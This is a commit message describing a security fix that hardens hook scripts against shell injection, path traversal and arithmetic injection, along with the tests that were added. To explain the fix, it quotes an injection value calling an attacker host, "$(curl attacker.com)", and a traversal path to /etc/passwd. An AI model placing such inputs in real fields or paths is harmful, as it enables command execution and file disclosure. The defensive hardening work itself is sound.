BLUDATA\marcio.heiderscheidt 0f217f7c80 fix: harden hooks against shell injection, path traversal, and arithmetic injection
save_hook.sh:
- Coerce stop_hook_active to strict True/False before eval to prevent
  command injection via crafted JSON (e.g. "$(curl attacker.com)")
- Validate LAST_SAVE as plain integer with regex before bash arithmetic
  to prevent command substitution via poisoned state files

hooks_cli.py:
- Add _validate_transcript_path() that rejects paths with '..'
  components and non-.jsonl/.json extensions
- _count_human_messages() now uses the validator, returning 0 for
  invalid paths instead of opening arbitrary files

Tests:
- Path traversal rejection (../../etc/passwd)
- Wrong extension rejection (.txt, .py)
- Valid path acceptance (.jsonl, .json)
- Empty string handling
- Shell injection in stop_hook_active field
